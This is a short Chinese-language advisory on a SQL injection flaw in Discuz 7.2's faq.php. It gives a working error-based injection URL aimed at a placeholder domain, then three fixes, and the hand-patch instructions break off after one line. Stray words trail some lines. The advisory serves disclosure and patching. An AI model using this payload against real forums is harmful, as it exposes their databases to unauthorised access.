測試方法:
提供程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!
Discuz 7.2 /faq.php SQL注入漏洞
http://www.xxx.com/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema
.tables group by x)a)%23
修復方法:
修復文件: faq.phpphp
修復方法(一)
此文件爲顯示論壇幫助用的,功能相對獨立,您能夠在服務器禁止該文件的訪問,或者直接刪除他。對論壇常規功能沒有任何影響。安全
修復方法(二)
可使用本貼中的附件覆蓋您的舊文件服務器
修復方法(三)
手工修復faq.php
用編輯器打開該文件編輯器
查找代碼:測試
} elseif($action == 'grouppermission') {
在下面添加:
$gids = array();